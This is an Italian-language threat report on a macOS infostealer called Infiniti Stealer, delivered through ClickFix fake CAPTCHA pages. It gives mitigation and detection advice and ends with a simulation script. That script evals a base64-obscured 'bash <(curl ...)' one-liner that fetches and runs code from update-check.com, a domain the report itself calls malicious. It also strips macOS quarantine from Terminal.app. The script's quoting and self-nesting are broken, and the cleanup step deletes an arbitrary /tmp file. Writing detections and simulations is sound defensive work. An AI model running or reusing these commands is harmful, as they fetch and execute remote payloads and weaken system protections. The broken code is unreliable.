Infiniti Stealer: un nuovo infostealer per macOS che utilizza ClickFix e Python/Nuitka

Riepilogo

Un nuovo infostealer per macOS chiamato Infiniti Stealer è stato individuato mentre utilizzava un’esca di ingegneria sociale ClickFix per infettare gli utenti. Il malware è costruito con Nuitka, che converte il codice Python in un binario Mach-O nativo, rendendo più difficile l’ispezione statica. Una volta eseguito, ruba credenziali, dati di Keychain, file di portafogli di criptovalute e altre informazioni sensibili, quindi esfiltra i dati raccolti tramite richieste HTTP POST. La campagna si affida anche a una pagina CAPTCHA falsa ospitata su un dominio malevolo per convincere le vittime a eseguire un comando Bash dannoso.

Indagine

I ricercatori hanno scoperto il payload durante la caccia alle minacce di routine e inizialmente lo hanno monitorato con il nome temporaneo NukeChain prima che il pannello dell’attore minaccioso esponesse il marchio finale come Infiniti Stealer. L’analisi ha rivelato un flusso a tre fasi: un dropper Bash consegnato tramite un CAPTCHA falso, un caricatore compilato con Nuitka e un modulo stealer basato su Python. Il dropper posiziona il binario in /tmp, rimuove l’attributo di quarantena e lo avvia passando i dettagli C2 tramite le variabili d’ambiente. La fase finale raccoglie dati da browser, Keychain, portafogli e file correlati agli sviluppatori prima di inviarli al server controllato dall’attaccante.

Mitigazione

Gli utenti non dovrebbero mai copiare ed eseguire comandi da siti web sconosciuti, specialmente pagine che fingono di verificare le sfide CAPTCHA. I difensori dovrebbero ispezionare e rimuovere file sospetti in /tmp or ~/Library/LaunchAgents, eseguire una scansione anti-malware affidabile e ruotare le password per eventuali account potenzialmente esposti da un sistema pulito. Anche eventuali token API attivi o chiavi SSH che possono essere stati raccolti dovrebbero essere revocati.

Risposta

I team di rilevamento dovrebbero monitorare lo script dropper e il binario compilato con Nuitka osservando la creazione di file in /tmp che corrisponde al modello di denominazione descritto. Gli avvisi dovrebbero attivarsi sull’esecuzione del comando Bash dannoso e sul traffico in uscita HTTP POST verso il dominio C2 identificato. L’accesso alla rete a update-check.com and infiniti-stealer.com dovrebbe essere bloccato. Una revisione forense basata sull’host dovrebbe poi identificare le credenziali rubate e supportare i reset obbligatori delle credenziali.

Esecuzione di Simulazione

Prerequisito: Il controllo di pre-volo Telemetria e Baseline deve essere superato.

Narrazione e Comandi di Attacco

Un attaccante fornisce un link di phishing che, quando aperto su una workstation macOS, esegue il seguente comando one-liner nel Terminale. Il comando:

1. Scarica un URL codificato in base64 (l’host del payload) tramite curl -sSfL.
2. Decodifica la stringa base64 per rivelare l’effettivo URL HTTPS.
3. Esegue lo script scaricato con bash.
4. Esegui con nohup per mantenerlo in vita dopo che il terminale è chiuso.
5. Rimuove l’attributo di quarantena (xattr -dr com.apple.quarantine) per bypassare Gatekeeper.

Questi passaggi producono i frammenti di linea di comando esatti che la regola Sigma sta osservando, generando così l’allerta attesa.

Script Test di Regressione

#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulazione di infezione di Infiniti Stealer (macOS)
# ------------------------------------------------------------

# 1. Costruire il comando dannoso one-liner (esattamente come si aspetta la regola)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"

# 2. Aiuti di persistenza opzionali (inclusi nel rilevamento)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"

# 3. Eseguire il comando
eval "$MALICIOUS_CMD"

# 4. Attendiamo qualche secondo per consentire l'ingestione SIEM
sleep 5

# 5. Produci un marcatore per la verifica manuale
echo ">>> Simulazione eseguita – controlla SIEM per allerta <<<"

Comandi di Pulizia

#!/usr/bin/env bash
# ------------------------------------------------------------
# Pulizia dopo la simulazione di Infiniti Stealer
# ------------------------------------------------------------

# Termina eventuali processi nohup di background avviati dalla simulazione
pkill -f "bash <(curl -sSfL"

# Rimuovi eventuali file temporanei che potrebbero essere stati creati
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)

# Ripristina attributo di quarantena su Terminal (opzionale, per igiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true

echo "Pulizia completata."

Fine del Rapporto